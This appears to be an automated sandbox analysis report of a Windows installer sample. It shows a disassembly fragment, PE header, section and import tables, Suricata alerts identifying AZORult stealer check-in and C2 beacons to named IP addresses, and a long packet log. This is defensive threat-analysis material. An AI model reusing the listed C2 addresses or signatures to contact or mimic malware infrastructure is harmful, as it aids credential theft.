push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420658h
call dword ptr [0040717Ch]
push 004092C0h
push 004281A0h
call 00007FB5FC6F12BFh
call dword ptr [00407138h]
mov ebx, 00434000h
push eax
push ebx
call 00007FB5FC6F12ADh
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291A0h], eax
mov eax, ebx
jne 00007FB5FC6EE7BAh
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007FB5FC6F0CFEh
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007FB5FC6EE87Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007FB5FC6EE7B9h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007FB5FC6EE7ABh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4b000	0x3488	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5cf6	0x5e00	eee41166f9daa8eae9e9b5d18d2d3c6e	False	0.6619431515957447	data	6.441066052438077	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2f90a087fd075d2b61c65e6db9ea1417	False	0.4314453125	data	5.037502749366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x20298	0x600	eaa9954d4bef1481fc1bddefea6bf878	False	0.4609375	data	3.6563423252168445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x21000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4b000	0x3488	0x3600	eac572c52e6ebd5eb81f024b9689cad1	False	0.4631076388888889	data	5.51330957491441	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x4b268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x4b5d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5092323651452282
RT_DIALOG	0x4db78	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x4dcc0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x4de00	0x120	data	English	United States	0.5173611111111112
RT_DIALOG	0x4df20	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x4e040	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x4e108	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x4e168	0x14	data	English	United States	1.15
RT_MANIFEST	0x4e180	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, SetFileAttributesW, ExpandEnvironmentStringsW, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, SetErrorMode, GetCommandLineW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-01T15:14:25.144089+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49704	TCP
2024-11-01T15:14:55.638464+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49856	167.250.5.91	443	TCP
2024-11-01T15:14:59.336920+0100	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49874	188.114.96.3	80	TCP
2024-11-01T15:14:59.336920+0100	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.5	49874	188.114.96.3	80	TCP
2024-11-01T15:14:59.571183+0100	2029137	ET MALWARE AZORult v3.3 Server Response M2	1	188.114.96.3	80	192.168.2.5	49874	TCP
2024-11-01T15:15:03.912267+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49905	TCP
2024-11-01T15:15:05.478849+0100	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49898	188.114.96.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 15:14:54.209033012 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:54.209141016 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:54.209233999 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:54.295099974 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:54.295136929 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.213264942 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.213380098 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.268665075 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.268740892 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.269042969 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.269615889 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.271855116 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.319358110 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.638518095 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.638540983 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.638556957 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.638614893 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.638664961 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.638689995 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.638775110 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.705420971 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.705447912 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.705549002 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.705602884 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.705661058 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.794544935 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.794563055 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.794663906 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.794692993 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.794744968 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.860388041 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.860404968 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.860569000 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.860594988 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.860641003 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.862910986 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.862926006 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.862987041 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.862993956 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.863034964 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.866086960 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.866102934 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.866166115 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.866172075 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.866210938 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.949976921 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.950001001 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.950093031 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:55.950133085 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.950187922 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.950304985 CET	49856	443	192.168.2.5	167.250.5.91
Nov 1, 2024 15:14:55.950319052 CET	443	49856	167.250.5.91	192.168.2.5
Nov 1, 2024 15:14:57.460247993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:57.465372086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:57.465456009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:57.465569973 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:57.470927954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.336818933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.336834908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.336848021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.336915016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.336920023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.336946011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.337002039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.337029934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.337043047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.337054014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.337059975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.337071896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.337088108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.337088108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.337121964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.337239027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.337300062 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.341856003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.341902018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.341921091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.341937065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.454010963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.454022884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.454047918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.454061031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.454071999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.454119921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.454119921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.454142094 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.543462992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.543512106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.543524981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.543556929 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.543582916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.544120073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544131994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544164896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544181108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544192076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544200897 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.544239044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.544239044 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.544297934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544322968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544336081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544338942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.544347048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544358969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544369936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544383049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.544393063 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.544406891 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.544424057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.546415091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.546489000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.546519995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.546536922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.546549082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.546587944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.546587944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.570949078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.570971012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.570982933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571018934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571032047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571057081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.571116924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.571182966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571194887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571206093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571228981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.571281910 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.571624994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571636915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571646929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.571695089 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.571706057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.660583019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660597086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660604000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660655975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660672903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660701036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.660742998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.660883904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660897017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660907984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.660952091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.661201954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.661251068 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.741954088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742046118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.742063999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742075920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742106915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.742362976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742376089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742388010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742400885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742420912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.742470026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.742804050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742816925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742834091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742846966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.742850065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.742876053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.743520021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.743531942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.743545055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.743563890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.743577003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.743577003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.743622065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.743622065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.743719101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.743731022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.743763924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.743813038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.745529890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.745539904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.745553970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.745565891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.745573997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.745578051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.745590925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.745605946 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.745629072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.745656013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.747068882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.747081041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.747092009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.747102976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.747113943 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.747122049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.747134924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.747148037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.747172117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.747172117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.747191906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.748361111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.748372078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.748383045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.748437881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.748437881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.749634981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749645948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749656916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749669075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749680996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749687910 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.749692917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749711037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749721050 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.749722004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749732971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749735117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.749743938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749756098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.749793053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.749813080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.750063896 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.750121117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.750833035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.750849962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.750866890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.750868082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.750880957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.750891924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.750909090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.750974894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.750974894 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.777838945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.777888060 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.777956009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.777966976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.777998924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.778156042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.778167009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.778178930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:14:59.778203011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.778218985 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:14:59.778630972 CET	80	49874	188.114.96.3	192.168.2.5
